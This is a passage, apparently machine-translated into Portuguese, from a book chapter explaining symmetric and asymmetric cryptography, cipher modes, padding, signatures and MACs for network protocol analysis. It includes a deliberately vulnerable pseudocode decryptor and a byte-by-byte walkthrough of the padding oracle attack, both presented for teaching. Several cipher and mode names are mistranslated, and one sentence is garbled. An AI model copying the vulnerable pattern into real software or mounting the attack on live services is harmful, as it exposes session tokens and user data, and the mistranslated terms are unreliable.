números aleatórios para fins criptográficos.

Criptografia de chave simétrica


A única maneira segura de criptografar uma mensagem é
enviar uma chave completamente aleatória, do mesmo
tamanho da mensagem, antes que a criptografia ocorra,
utilizando uma chave de uso único (one-time pad). Obviamente,
não queremos lidar com chaves tão grandes. Felizmente,
podemos, em vez disso, construir um algoritmo de chave
simétrica que utiliza construções matemáticas para criar uma
cifra segura. Como o tamanho da chave é consideravelmente
menor do que o da mensagem que você deseja enviar e não
depende da quantidade de dados a serem criptografados, sua
distribuição é mais fácil.

Se o algoritmo utilizado não apresentar nenhuma


vulnerabilidade óbvia, o fator limitante para a segurança será o
tamanho da chave. Se a chave for curta, um atacante poderia
realizar um ataque de força bruta até encontrar a chave
correta.

Existem dois tipos principais de cifras simétricas: cifras de


bloco e cifras de fluxo. Cada uma possui suas vantagens e
desvantagens, e a escolha da cifra errada para usar em um
protocolo pode afetar seriamente a segurança das
comunicações de rede.

Cifras de bloco
Muitos algoritmos de chave simétrica bem conhecidos, como o
Advanced Encryption Standard (AES) e o Data Encryption
Standard (DES), criptografam e descriptografam um número
fixo de bits (conhecido como bloco) a cada aplicação do
algoritmo. Para criptografar ou descriptografar uma
mensagem, o algoritmo requer uma chave. Se a mensagem for
maior que o tamanho de um bloco, ela deve ser dividida em
blocos menores e o algoritmo aplicado a cada um deles. Cada
aplicação do algoritmo utiliza a mesma chave, como mostrado
na Figura 7-3. Observe que a mesma chave é usada para
criptografia e descriptografia.
Figura 7-3: Criptografia de bloco

Quando um algoritmo de chave simétrica é usado para


criptografia, o bloco de texto plano é combinado com a chave
conforme descrito pelo algoritmo, resultando na geração do
texto cifrado. Se aplicarmos então o algoritmo de
descriptografia combinado com a chave ao texto cifrado,
recuperamos o texto plano original.

DO

Provavelmente, o algoritmo de criptografia de bloco mais


antigo ainda usado em aplicações modernas é o DES,
originalmente desenvolvido pela IBM (sob o nome Lucifer) e
publicado como um padrão federal de processamento de
informações (FIPS) em 1979. O algoritmo utiliza uma rede de
Feistel para implementar o processo de criptografia. Uma rede
de Feistel, comum em muitos algoritmos de criptografia de
bloco, opera aplicando repetidamente uma função à entrada
por um número de rodadas. A função recebe como entrada o
valor da rodada anterior (o texto plano original), bem como
uma subchave específica derivada da chave original por meio
de um algoritmo de agendamento de chaves.

O algoritmo DES utiliza um tamanho de bloco de 64 bits e uma


chave de 64 bits. No entanto, o DES exige que 8 bits da chave
sejam usados para verificação de erros, resultando em uma
chave efetiva de apenas 56 bits. Isso resulta em uma chave
muito pequena, inadequada para aplicações modernas, como
comprovado em 1998 pelo cracker de DES da Electronic
Frontier Foundation — um atacante de força bruta baseado em
hardware que conseguiu descobrir uma chave DES
desconhecida em cerca de 56 horas. Na época, o hardware
personalizado custava cerca de US$ 250.000; hoje, as
ferramentas de quebra de senhas baseadas em nuvem
conseguem quebrar uma chave em menos de um dia, por um
custo muito menor.

Triple DES

Em vez de descartar completamente o DES, os criptógrafos


desenvolveram uma forma modificada que aplica o algoritmo
três vezes. O algoritmo do Triple DES (TDES ou 3DES) utiliza
três chaves DES separadas, resultando em um tamanho de
chave efetivo de 168 bits (embora seja possível comprovar que
a segurança é, na realidade, menor do que o tamanho sugere).
Como mostrado na Figura 7-4, no Triple DES, a função de
criptografia DES é aplicada primeiro ao texto plano usando a
primeira chave. Em seguida, o resultado é descriptografado
usando a segunda chave. Depois, o resultado é criptografado
novamente usando a terceira chave, resultando no texto cifrado
final. As operações são invertidas para realizar a
descriptografia.
Figura 7-4: O processo de criptografia Triple DES

AES

Um algoritmo de criptografia muito mais moderno é o AES,


baseado no algoritmo Rijndael. O AES utiliza um tamanho de
bloco fixo de 128 bits e pode usar três comprimentos de chave
diferentes: 128, 192 e 256 bits; às vezes são chamados de
AES128, AES192 e AES256, respectivamente. Em vez de usar
uma rede de Feistel, o AES usa uma rede de substituição-
permutação, que consiste em dois componentes principais:
caixas de substituição (S-Box) e caixas de permutação (P-Box).
Os dois componentes são encadeados para formar uma única
rodada do algoritmo. Assim como na rede de Feistel, essa
rodada pode ser aplicada várias vezes com diferentes valores
de S-Box e P-Box para produzir a saída criptografada.

Uma S-Box é uma tabela de mapeamento básica, semelhante a


uma cifra de substituição simples. A S-Box recebe uma entrada,
consulta-a em uma tabela e produz uma saída. Como uma S-Box
utiliza uma tabela de consulta grande e distinta, ela é muito útil
para identificar algoritmos específicos. Essa tabela de consulta
distinta fornece uma impressão digital muito ampla, que pode
ser descoberta em executáveis de aplicativos. Expliquei isso
com mais detalhes no Capítulo 6, quando discuti técnicas para
encontrar algoritmos criptográficos desconhecidos por meio de
engenharia reversa de binários.

Outras cifras de bloco

DES e AES são as cifras de bloco que você encontrará com mais
frequência, mas existem outras, como as listadas na Tabela 7-1
(e ainda outras em produtos comerciais).

Tabela 7-1: Algoritmos comuns de cifra de bloco


Nome cifrado Tamanho Tamanho Ano de
do bloco da chave lançamento
(bits) (bits)

Padrão de 64 56 1979
Criptografia de
Dados (DES)

Baiacu 64 32–448 1993

Padrão de 64 56, 112, 1998


Criptografia de 168
Dados Tripla
(TDES/3DES)

Serpente 128 128, 192, 1998


256

Dois peixes 128 128, 192, 1998


256

Camélia 128 128, 192, 2000


256
Nome cifrado Tamanho Tamanho Ano de
do bloco da chave lançamento
(bits) (bits)

Padrão de 128 128, 192, 2001


Criptografia 256
Avançada
(AES)

O tamanho do bloco e da chave ajudam a determinar qual cifra


um protocolo está usando, com base na forma como a chave é
especificada ou como os dados criptografados são divididos em
blocos.

Modos de cifra de bloco

O algoritmo de uma cifra de bloco define como a cifra opera em


blocos de dados. Sozinho, um algoritmo de cifra de bloco
apresenta algumas fragilidades, como você verá em breve.
Portanto, em um protocolo real, é comum usar a cifra de bloco
em combinação com outro algoritmo chamado modo de
operação. O modo fornece propriedades de segurança
adicionais, como tornar a saída da criptografia menos
previsível. Às vezes, o modo também altera a operação da cifra,
por exemplo, convertendo uma cifra de bloco em uma cifra de
fluxo (que explicarei com mais detalhes em "Cifras de Fluxo",
na página 158). Vamos analisar alguns dos modos mais comuns,
bem como suas propriedades de segurança e fragilidades.

Livro de Códigos Eletrônico

O modo de operação mais simples e padrão para cifras de bloco


é o Electronic Code Book (ECB). No modo ECB, o algoritmo de
criptografia é aplicado a cada bloco de tamanho fixo do texto
plano para gerar uma série de blocos de texto cifrado. O
tamanho do bloco é definido pelo algoritmo em uso. Por
exemplo, se o algoritmo de criptografia for o AES, cada bloco no
modo ECB deve ter 16 bytes. O texto plano é dividido em blocos
individuais e o algoritmo de criptografia é aplicado. (A Figura 7-
3 mostra o modo ECB em funcionamento.)

Como cada bloco de texto simples é criptografado


independentemente no ECB, ele sempre será criptografado para
o mesmo bloco de texto cifrado. Consequentemente, o ECB nem
sempre oculta estruturas de grande escala no texto simples,
como na imagem bitmap mostrada na Figura 7-5. Além disso,
um atacante pode corromper ou manipular os dados
descriptografados na criptografia de bloco independente,
reorganizando os blocos do texto cifrado antes da
descriptografia.

Figura 7-5: Criptografia BCE de uma imagem bitmap

Encadeamento de Blocos de Cifra

Outro modo de operação comum é o Cipher Block Chaining


(CBC), que é mais complexo que o ECB e evita suas
desvantagens. No CBC, a criptografia de um único bloco de texto
simples depende do valor criptografado do bloco anterior. O
bloco criptografado anterior é submetido a uma operação XOR
com o bloco de texto simples atual e, em seguida, o algoritmo de
criptografia é aplicado a esse resultado combinado. A Figura 7-6
mostra um exemplo de CBC aplicado a dois blocos.

Na parte superior da Figura 7-6 encontram-se os blocos de texto


plano originais. Na parte inferior, está o texto cifrado
resultante, gerado pela aplicação do algoritmo de cifra de bloco
e do algoritmo no modo CBC. Antes de cada bloco de texto plano
ser criptografado, o texto plano é submetido a uma operação
XOR com o bloco criptografado anterior. Após a operação XOR
entre os blocos, o algoritmo de criptografia é aplicado. Isso
garante que o texto cifrado resultante dependa tanto do texto
plano original quanto dos blocos criptografados anteriormente.
Figura 7-6: O modo de operação CBC

Como o primeiro bloco de texto simples não possui um bloco de


texto cifrado anterior com o qual realizar a operação XOR, ele é
combinado com um bloco escolhido manualmente ou gerado
aleatoriamente, chamado vetor de inicialização (VI). Se o VI for
gerado aleatoriamente, ele deve ser enviado junto com os dados
criptografados, caso contrário, o destinatário não conseguirá
descriptografar o primeiro bloco da mensagem. (Usar um VI
fixo é problemático se a mesma chave for usada para todas as
comunicações, pois, se a mesma mensagem for criptografada
várias vezes, ela sempre será criptografada com o mesmo texto
cifrado.)

Para decifrar o CBC, as operações de criptografia são realizadas


na ordem inversa: a decifração ocorre do final da mensagem
para o início, decifrando cada bloco de texto cifrado com a
chave e, a cada passo, aplicando uma operação XOR entre o
bloco decifrado e o bloco criptografado que o precede no texto
cifrado.

Modos alternativos
Outros modos de operação para cifras de bloco estão
disponíveis, incluindo aqueles que podem converter uma cifra
de bloco em uma cifra de fluxo, e modos especiais, como o
Modo Contador de Galois (GCM), que fornecem integridade e
confidencialidade dos dados. A Tabela 7-2 lista vários modos de
operação comuns e indica se eles geram uma cifra de bloco ou
de fluxo (que discutirei na seção “Cifras de Fluxo” na página
158). Descrever cada um em detalhes estaria além do escopo
deste livro, mas esta tabela fornece um guia geral para
pesquisas futuras.

Tabela 7-2: Modos de operação comuns de cifras de bloco

Nome do modo Abreviação Tipo de modo

Livro de Códigos BCE Bloquear


Eletrônico

Encadeamento de CBC Bloquear


Blocos de Cifra

Feedback de saída OFB Fluxo

Feedback de Cifra CFB Fluxo


Nome do modo Abreviação Tipo de modo

Contador CTR Fluxo

Modo contador GCM Transmita com


Galois integridade de
dados

Preenchimento de cifra de bloco

Cifras de bloco operam em uma unidade de mensagem de


tamanho fixo: um bloco. Mas e se você quiser criptografar um
único byte de dados e o tamanho do bloco for de 16 bytes? É aí
que entram os esquemas de preenchimento. Os esquemas de
preenchimento determinam como lidar com o restante não
utilizado de um bloco durante a criptografia e a descriptografia.

A abordagem mais simples para preenchimento é adicionar um


valor específico conhecido ao espaço extra do bloco, como um
byte de zero repetido. Mas, ao descriptografar o bloco, como
distinguir entre bytes de preenchimento e dados significativos?
Alguns protocolos de rede especificam um campo de
comprimento explícito, que pode ser usado para remover o
preenchimento, mas nem sempre é possível confiar nisso.
Um esquema de preenchimento que resolve esse problema é
definido no Padrão de Criptografia de Chave Pública nº 7 (PKCS
nº 7). Nesse esquema, todos os bytes de preenchimento são
definidos com um valor que representa quantos bytes de
preenchimento estão presentes. Por exemplo, se houver três
bytes de preenchimento, cada byte será definido com o valor 3,
como mostrado na Figura 7-7.

Figura 7-7: Exemplos de preenchimento PKCS#7

E se você não precisar de preenchimento? Por exemplo, e se o


último bloco que você está criptografando já tiver o
comprimento correto? Se você simplesmente criptografar o
último bloco e transmiti-lo, o algoritmo de descriptografia
interpretará os dados legítimos como parte de um bloco
preenchido. Para eliminar essa ambiguidade, o algoritmo de
criptografia deve enviar um bloco fictício final que contenha
apenas o preenchimento, a fim de sinalizar ao algoritmo de
descriptografia que o último bloco pode ser descartado.

Quando o bloco preenchido é descriptografado, o processo de


descriptografia pode verificar facilmente o número de bytes de
preenchimento presentes. O processo de descriptografia lê o
último byte do bloco para determinar o número esperado de
bytes de preenchimento. Por exemplo, se o processo de
descriptografia lê um valor de 3, ele sabe que três bytes de
preenchimento devem estar presentes. O processo de
descriptografia então lê os outros dois bytes de preenchimento
esperados, verificando se cada byte também tem o valor 3. Se o
preenchimento estiver incorreto, seja porque todos os bytes de
preenchimento esperados não têm o mesmo valor ou porque o
valor do preenchimento está fora do intervalo (o valor deve ser
menor ou igual ao tamanho de um bloco e maior que 0), ocorre
um erro que pode fazer com que o processo de descriptografia
falhe. A forma como a falha ocorre é uma consideração de
segurança em si mesma.

Ataque de oráculo de preenchimento

Uma grave falha de segurança, conhecida como ataque de


oráculo de preenchimento (padding oracle), ocorre quando o
modo de operação CBC é combinado com o esquema de
preenchimento PKCS#7. O ataque permite que um invasor
descriptografe dados e, em alguns casos, criptografe seus
próprios dados (como um token de sessão) quando enviados
por meio desse protocolo, mesmo que não conheça a chave. Se
um invasor conseguir descriptografar um token de sessão,
poderá recuperar informações confidenciais. Mas se conseguir
criptografar o token, poderá realizar ações como burlar os
controles de acesso de um site.

Por exemplo, considere a Listagem 7-1, que descriptografa


dados da rede usando uma chave DES privada.

def decrypt_session_token(byte key[])

➊ byte iv[] = read_bytes(8);


byte token[] = read_to_end();

➋ bool error = des_cbc_decrypt(key, iv, token);

if(error)
➌ write_string("ERRO");
else
➍ write_string("SUCESSO");

Listagem 7-1: Uma descriptografia DES simples da rede

O código lê o IV e os dados criptografados da rede ➊ e os passa


para uma rotina de descriptografia DES CBC usando uma chave
interna da aplicação ➋. Neste caso, ele descriptografa um token
de sessão do cliente. Este caso de uso é comum em frameworks
de aplicações web, onde o cliente é efetivamente sem estado e
precisa enviar um token com cada requisição para verificar sua
identidade.

A função de descriptografia retorna uma condição de erro que


indica se a descriptografia falhou. Em caso afirmativo, ela envia
a string ERROR para o cliente ➌; caso contrário, envia a string
SUCCESS ➍. Consequentemente, este código fornece a um
atacante informações sobre o sucesso ou a falha na
descriptografia de um bloco criptografado arbitrário de um
cliente. Além disso, se o código usar PKCS#7 para
preenchimento e ocorrer um erro (porque o preenchimento
não corresponde ao padrão correto no último bloco
descriptografado), um atacante poderá usar essa informação
para realizar o ataque de oráculo de preenchimento e, em
seguida, descriptografar o bloco de dados que o atacante enviou
a um serviço vulnerável.

Essa é a essência do ataque de oráculo de preenchimento: ao


observar se o serviço de rede descriptografou com sucesso o
bloco criptografado em CBC, o atacante pode inferir o valor
subjacente não criptografado do bloco. (O termo oráculo se
refere ao fato de que o atacante pode fazer uma pergunta ao
serviço e receber uma resposta verdadeira ou falsa.
Especificamente, neste caso, o atacante pode perguntar se o
preenchimento do bloco criptografado que enviou ao serviço é
válido.)

Para entender melhor como funciona o ataque de oráculo de


preenchimento, vamos retornar à forma como o CBC
descriptografa um único bloco. A Figura 7-8 mostra a
descriptografia de um bloco de dados criptografados com CBC.
Neste exemplo, o texto simples é a string "Hello" seguida de três
bytes de preenchimento PKCS#7.

Ao consultar o serviço web, o atacante tem controle direto


sobre o texto cifrado original e o IV (Vetor de Inicialização).
Como cada byte do texto plano é submetido a uma operação
XOR com um byte do IV durante a etapa final de
descriptografia, o atacante pode controlar diretamente a saída
do texto plano alterando o byte correspondente no IV. No
exemplo mostrado na Figura 7-8, o último byte do bloco
descriptografado é 0x2B, que é submetido a uma operação XOR
com o byte 0x28 do IV, resultando em 0x03, um byte de
preenchimento. Mas se o último byte do IV for alterado para
0xFF, o último byte do texto cifrado descriptografado passa a
ser 0xD4, que deixa de ser um byte de preenchimento válido, e
o serviço de descriptografia retorna um erro.

Figura 7-8: Decriptação CBC com IV


Agora o atacante tem tudo o que precisa para descobrir o valor
de preenchimento. Ele consulta o serviço web com textos
cifrados fictícios, tentando todos os valores possíveis para o
último byte do IV. Sempre que o valor descriptografado
resultante não for igual a 0x01 (ou, por acaso, a outro arranjo
de preenchimento válido), a descriptografia retorna um erro.
Mas, uma vez que o preenchimento seja válido, a
descriptografia retornará sucesso.

Com essa informação, o atacante pode determinar o valor desse


byte no bloco descriptografado, mesmo sem a chave. Por
exemplo, digamos que o atacante envie o último byte do IV
como 0x2A. A descriptografia retorna sucesso, o que significa
que o byte descriptografado, após uma operação XOR com 0x2A,
deve ser igual a 0x01. Agora, o atacante pode calcular o valor
descriptografado aplicando um XOR entre 0x2A e 0x01, obtendo
0x2B; se o atacante aplicar um XOR desse valor com o byte do
IV original (0x28), o resultado será 0x03, o valor de
preenchimento original, como esperado.

O próximo passo do ataque é usar o IV para gerar o valor 0x02


nos dois bytes menos significativos do texto plano. Da mesma
forma que o atacante usou força bruta no byte menos
significativo anteriormente, agora ele pode usar força bruta no
penúltimo byte. Em seguida, como o atacante conhece o valor
do byte menos significativo, é possível defini-lo como 0x02 com
o valor de IV apropriado. Então, ele pode realizar força bruta
no penúltimo byte até que a descriptografia seja bem-sucedida,
o que significa que o segundo byte agora é igual a 0x02 quando
descriptografado. Repetindo esse processo até que todos os
bytes tenham sido calculados, um atacante poderia usar essa
técnica para descriptografar qualquer bloco.

Cifras de fluxo

Ao contrário das cifras de bloco, que criptografam blocos de


uma mensagem, as cifras de fluxo funcionam no nível de bits
individuais. O algoritmo mais comum usado para cifras de fluxo
gera um fluxo pseudoaleatório de bits, chamado fluxo de chave,
a partir de uma chave inicial. Esse fluxo de chave é então
aplicado aritmeticamente à mensagem, tipicamente usando a
operação XOR, para produzir o texto cifrado, como mostrado na
Figura 7-9.
Figura 7-9: Uma operação de cifra de fluxo

Desde que a operação aritmética seja reversível, tudo o que é


necessário para descriptografar a mensagem é gerar o mesmo
fluxo de chaves usado para a criptografia e realizar a operação
aritmética inversa no texto cifrado. (No caso do XOR, a operação
inversa é, na verdade, o próprio XOR.) O fluxo de chaves pode
ser gerado usando um algoritmo completamente personalizado,
como no RC4, ou usando uma cifra de bloco e um modo de
operação correspondente.

A Tabela 7-3 lista alguns algoritmos comuns que você pode


encontrar em aplicações do mundo real.

Tabela 7-3: Cifras de fluxo comuns


Nome cifrado Tamanho da Ano de
chave (bits) lançamento

A5/1 e A5/2 (usados 54 ou 64 1989


na criptografia de voz
GSM)

RC4 Até 2048 1993

Modo contador (CTR) Dependente da N/D


cifra de bloco

Modo de feedback de Dependente da N/D


saída (OFB) cifra de bloco

Modo de feedback de Dependente da N/D


cifra (CFB) cifra de bloco

Criptografia de chave assimétrica

A criptografia de chave simétrica oferece um bom equilíbrio


entre segurança e conveniência, mas apresenta um problema
significativo: os participantes da rede precisam trocar
fisicamente chaves secretas. Isso é difícil quando a rede
abrange várias regiões geográficas. Felizmente, a criptografia
de chave assimétrica (comumente chamada de criptografia de
chave pública) pode mitigar esse problema.

Um algoritmo assimétrico requer dois tipos de chaves: pública e


privada. A chave pública criptografa uma mensagem e a chave
privada a descriptografa. Como a chave pública não pode
descriptografar uma mensagem, ela pode ser fornecida a
qualquer pessoa, mesmo em uma rede pública, sem o risco de
ser capturada por um invasor e usada para descriptografar o
tráfego, como mostrado na Figura 7-10.

Figura 7-10: Criptografia e descriptografia de chave assimétrica


Embora as chaves pública e privada estejam relacionadas
matematicamente, os algoritmos de chave assimétrica são
projetados para tornar a recuperação de uma chave privada a
partir de uma chave pública extremamente demorada; eles são
construídos sobre primitivas matemáticas conhecidas como
funções de alçapão. (O nome deriva do conceito de que é fácil
passar por um alçapão, mas se ele se fechar atrás de você, é
difícil voltar.) Esses algoritmos se baseiam na premissa de que
não há como contornar a natureza computacionalmente
intensiva da matemática subjacente. No entanto, avanços
futuros na matemática ou no poder computacional podem
refutar tais premissas.

Algoritmo RSA

Surpreendentemente, não existem muitos algoritmos de chave


assimétrica exclusivos em uso comum, especialmente se
comparados aos algoritmos simétricos. O algoritmo RSA é
atualmente o mais utilizado para proteger o tráfego de rede e
continuará sendo por um futuro previsível. Embora algoritmos
mais recentes sejam baseados em construções matemáticas
chamadas curvas elípticas, eles compartilham muitos princípios
gerais com o RSA.
O algoritmo RSA, publicado pela primeira vez em 1977, recebeu
o nome de seus desenvolvedores originais: Ron Rivest, Adi
Shamir e Leonard Adleman. Sua segurança se baseia na
premissa de que é difícil fatorar números inteiros grandes que
são o produto de dois números primos.

A Figura 7-11 mostra o processo de criptografia e


descriptografia RSA. Para gerar um novo par de chaves usando
RSA, você gera dois números primos aleatórios grandes, p e q, e
então escolhe um expoente público (e). (É comum usar o valor
65537, pois ele possui propriedades matemáticas que ajudam a
garantir a segurança do algoritmo.) Você também deve calcular
outros dois números: o módulo (n), que é o produto de p e q, e
um expoente privado (d), que é usado para a descriptografia. (O
processo para gerar d é bastante complexo e está além do
escopo deste livro.) O expoente público combinado com o
módulo constitui a chave pública, e o expoente privado e o
módulo formam a chave privada.

Para que a chave privada permaneça privada, o expoente


privado deve ser mantido em segredo. E como o expoente
privado é gerado a partir dos números primos originais, p e q,
esses dois números também devem ser mantidos em segredo.
Figura 7-11: Um exemplo simples de criptografia e
descriptografia RSA

O primeiro passo no processo de criptografia é converter a


mensagem em um número inteiro, geralmente assumindo que
os bytes da mensagem representam um número inteiro de
comprimento variável. Esse número inteiro, m, é elevado à
potência do expoente público. A operação de módulo, usando o
valor do módulo público n, é então aplicada ao número inteiro
elevado me. O texto cifrado resultante agora é um valor entre
zero e n. (Portanto, se você tiver uma chave de 1024 bits, poderá
criptografar no máximo 1024 bits em uma mensagem.) Para
descriptografar a mensagem, você aplica o mesmo processo,
substituindo o expoente público pelo privado.

A criptografia RSA é computacionalmente muito custosa,


especialmente em comparação com cifras simétricas como o
AES. Para mitigar esse custo, poucas aplicações usam RSA
diretamente para criptografar uma mensagem. Em vez disso,
elas geram uma chave de sessão aleatória e a utilizam para
criptografar a mensagem com uma cifra simétrica, como o AES.
Então, quando a aplicação deseja enviar uma mensagem para
outro participante na rede, ela criptografa apenas a chave de
sessão usando RSA e envia a chave criptografada com RSA
juntamente com a mensagem criptografada com AES. O
destinatário descriptografa a mensagem primeiro
descriptografando a chave de sessão e, em seguida, usa a chave
de sessão para descriptografar a mensagem propriamente dita.
Combinar RSA com uma cifra simétrica como o AES oferece o
melhor dos dois mundos: criptografia rápida com segurança de
chave pública.

Acolchoamento RSA

Uma das fraquezas do algoritmo RSA básico é o seu caráter


determinístico: se a mesma mensagem for criptografada várias
vezes usando a mesma chave pública, o RSA sempre produzirá
o mesmo resultado criptografado. Isso permite que um atacante
execute o que é conhecido como ataque de texto plano
escolhido, no qual o atacante tem acesso à chave pública e,
portanto, pode criptografar qualquer mensagem. Na versão
mais básica desse ataque, o atacante simplesmente tenta
adivinhar o texto plano de uma mensagem criptografada. Ele
continua criptografando suas tentativas usando a chave pública
e, se alguma delas corresponder ao valor da mensagem
criptografada original, ele sabe que adivinhou com sucesso o
texto plano alvo, o que significa que efetivamente
descriptografou a mensagem sem acesso à chave privada.

Para combater ataques de texto plano escolhido, o RSA utiliza


uma forma de preenchimento durante o processo de
criptografia que garante que a saída criptografada seja não
determinística. (Este "preenchimento" é diferente do
preenchimento de cifras de bloco discutido anteriormente.
Nesse caso, o preenchimento preenche o texto plano até o limite
do próximo bloco, de modo que o algoritmo de criptografia
tenha um bloco completo para trabalhar.) Dois esquemas de
preenchimento são comumente usados com RSA: um é
especificado no Padrão de Criptografia de Chave Pública nº 1.5;
o outro é chamado de Preenchimento de Criptografia
Assimétrica Ótima (OAEP). O OAEP é recomendado para todas
as novas aplicações, mas ambos os esquemas fornecem
segurança suficiente para casos de uso típicos. Esteja ciente de
que não usar preenchimento com RSA é uma vulnerabilidade
de segurança grave.

Troca de chaves Diffie-Hellman

RSA não é a única técnica usada para trocar chaves entre


participantes de uma rede. Vários algoritmos são dedicados a
esse propósito; o principal deles é o algoritmo de troca de
chaves Diffie-Hellman (DH).

O algoritmo DH foi desenvolvido por Whitfield Diffie e Martin


Hellman em 1976 e, assim como o RSA, é baseado nos princípios
matemáticos da exponenciação e da aritmética modular. O DH
permite que dois participantes em uma rede troquem chaves e
impede que qualquer pessoa monitorando a rede consiga
determinar qual é essa chave. A Figura 7-12 mostra o
funcionamento do algoritmo.
Figura 7-12: O algoritmo de troca de chaves Diffie-Hellman

O participante que inicia a troca determina um parâmetro, que


é um número primo grande, e o envia para o outro
participante: o valor escolhido não é secreto e pode ser enviado
em texto não criptografado. Em seguida, cada participante gera
seu próprio valor de chave privada — geralmente usando um
gerador de números aleatórios criptograficamente seguro — e
calcula uma chave pública usando essa chave privada e um
parâmetro de grupo selecionado, solicitado pelo cliente. As
chaves públicas podem ser enviadas com segurança entre os
participantes sem o risco de revelar as chaves privadas.
Finalmente, cada participante calcula uma chave
compartilhada combinando a chave pública do outro com sua
própria chave privada. Ambos os participantes agora possuem
a chave compartilhada sem nunca tê-la trocado diretamente.

O DH não é perfeito. Por exemplo, esta versão básica do


algoritmo não consegue lidar com um ataque do tipo "homem
no meio" contra a troca de chaves. O atacante pode se passar
pelo servidor na rede e trocar uma chave com o cliente. Em
seguida, o atacante troca uma chave diferente com o servidor,
resultando em duas chaves distintas para a conexão. Assim, o
atacante pode descriptografar os dados do cliente e encaminhá-
los para o servidor, e vice-versa.

Algoritmos de assinatura

Criptografar uma mensagem impede que invasores visualizem


as informações enviadas pela rede, mas não identifica quem a
enviou. O simples fato de alguém possuir a chave de
criptografia não significa que essa pessoa seja quem diz ser.
Com a criptografia assimétrica, nem mesmo é necessário trocar
a chave manualmente com antecedência; assim, qualquer
pessoa pode criptografar dados com sua chave pública e enviá-
los para você.

Os algoritmos de assinatura resolvem esse problema gerando


uma assinatura única para cada mensagem. O destinatário
pode usar o mesmo algoritmo usado para gerar a assinatura
para comprovar que a mensagem veio do remetente. Como
vantagem adicional, adicionar uma assinatura a uma
mensagem a protege contra adulteração caso esteja sendo
transmitida por uma rede não confiável. Isso é importante, pois
a criptografia de dados não garante a integridade dos dados; ou
seja, uma mensagem criptografada ainda pode ser modificada
por um invasor que conheça o protocolo de rede subjacente.

Todos os algoritmos de assinatura são baseados em algoritmos


de hash criptográfico. Primeiro, descreverei o hash em mais
detalhes e, em seguida, explicarei alguns dos algoritmos de
assinatura mais comuns.

Algoritmos de hash criptográficos


Os algoritmos de hash criptográfico são funções aplicadas a
uma mensagem para gerar um resumo de comprimento fixo
dessa mensagem, geralmente muito mais curto que a
mensagem original. Esses algoritmos também são chamados de
algoritmos de resumo de mensagem. O objetivo do hash em
algoritmos de assinatura é gerar um valor relativamente único
para verificar a integridade de uma mensagem e reduzir a
quantidade de dados que precisam ser assinados e verificados.

Para que um algoritmo de hash seja adequado para fins


criptográficos, ele precisa atender a três requisitos:

Resistência à pré-imagem: Dado um valor de hash, deve ser


difícil (por exemplo, exigindo uma quantidade enorme de
poder computacional) recuperar uma mensagem.

Resistência a colisões: Deve ser difícil encontrar duas


mensagens diferentes que resultem no mesmo valor de hash.

Não linearidade: Deve ser difícil criar uma mensagem que


resulte em qualquer valor de hash específico.

Existem diversos algoritmos de hash disponíveis, mas os mais


comuns pertencem às famílias Message Digest (MD) ou Secure
Hashing Algorithm (SHA). A família Message Digest inclui os
algoritmos MD4 e MD5, desenvolvidos por Ron Rivest. A família
SHA, que contém os algoritmos SHA-1 e SHA-2, entre outros, é
publicada pelo NIST.

Outros algoritmos de hash simples, como checksums e


verificações de redundância cíclica (CRC), são úteis para
detectar alterações em um conjunto de dados; no entanto, não
são muito úteis para protocolos seguros. Um atacante pode
facilmente alterar o checksum, pois o comportamento linear
desses algoritmos torna trivial determinar como o checksum
muda, e essa modificação dos dados é protegida, de modo que o
alvo não tem conhecimento da alteração.

Algoritmos de assinatura assimétrica

Os algoritmos de assinatura assimétrica utilizam as


propriedades da criptografia assimétrica para gerar uma
assinatura de mensagem. Alguns algoritmos, como o RSA,
podem ser usados para fornecer tanto a assinatura quanto a
criptografia, enquanto outros, como o Algoritmo de Assinatura
Digital (DSA), são projetados apenas para assinaturas. Em
ambos os casos, a mensagem a ser assinada é transformada em
um hash, e uma assinatura é gerada a partir desse hash.

Anteriormente, você viu como o RSA pode ser usado para


criptografia, mas como ele pode ser usado para assinar uma
mensagem? O algoritmo de assinatura RSA se baseia no fato de
ser possível criptografar uma mensagem usando a chave
privada e descriptografá-la com a chave pública. Embora essa
"criptografia" não seja mais segura (a chave para
descriptografar a mensagem agora é pública), ela pode ser
usada para assinar uma mensagem.

Por exemplo, o signatário gera um hash da mensagem e aplica o


processo de descriptografia RSA ao hash usando sua chave
privada; esse hash criptografado é a assinatura. O destinatário
da mensagem pode converter a assinatura usando a chave
pública do signatário para obter o valor do hash original e
compará-lo com seu próprio hash da mensagem. Se os dois
hashes coincidirem, o remetente deve ter usado a chave
privada correta para criptografar o hash; se o destinatário
confiar que a única pessoa com a chave privada é o signatário,
a assinatura é verificada. A Figura 7-13 ilustra esse processo.
Figura 7-13: Processamento de assinatura RSA

Códigos de autenticação de mensagens

Ao contrário do RSA, que é um algoritmo assimétrico, os


Códigos de Autenticação de Mensagens (MACs) são algoritmos
de assinatura simétrica. Assim como na criptografia simétrica,
os algoritmos de assinatura simétrica dependem do
compartilhamento de uma chave entre o remetente e o
destinatário.

Por exemplo, digamos que você queira me enviar uma


mensagem assinada e que ambos tenhamos acesso a uma chave
compartilhada. Primeiro, você combinaria a mensagem com a
chave de alguma forma (explicarei como fazer isso com mais
detalhes em breve). Em seguida, você aplicaria um hash à
combinação para gerar um valor que não pudesse ser
facilmente reproduzido sem a mensagem original e a chave
compartilhada. Ao me enviar a mensagem, você também
enviaria esse hash como assinatura. Eu poderia verificar se a
assinatura é válida executando o mesmo algoritmo que você:
combinaria a chave e a mensagem, aplicaria um hash à
combinação e compararia o valor resultante com a assinatura
que você enviou. Se os dois valores fossem iguais, eu teria
certeza de que foi você quem enviou a mensagem.

Como você combinaria a chave e a mensagem? Você pode ser


tentado a tentar algo simples, como apenas prefixar a
mensagem com a chave e aplicar um hash ao resultado
combinado, como na Figura 7-14.

Figura 7-14: Uma implementação MAC simples

Mas, com muitos algoritmos de hash comuns (incluindo MD5 e


SHA-1), isso seria um erro de segurança grave, pois abre uma
vulnerabilidade conhecida como ataque de extensão de
comprimento. Para entender o porquê, é preciso saber um
pouco sobre a construção de algoritmos de hash.
Ataques de extensão de comprimento e colisão

Muitos algoritmos de hash comuns, incluindo MD5 e SHA-1,


consistem em uma estrutura de blocos. Ao calcular o hash de
uma mensagem, o algoritmo primeiro precisa dividi-la em
blocos de tamanho igual para processá-la. (O MD5, por exemplo,
usa um tamanho de bloco de 64 bytes.)

À medida que o algoritmo de hash avança, o único estado que


ele mantém entre cada bloco é o valor de hash do bloco
anterior. Para o primeiro bloco, o valor de hash anterior é um
conjunto de constantes bem escolhidas. As constantes bem
escolhidas são especificadas como parte do algoritmo e
geralmente são importantes para a operação segura. A Figura 7-
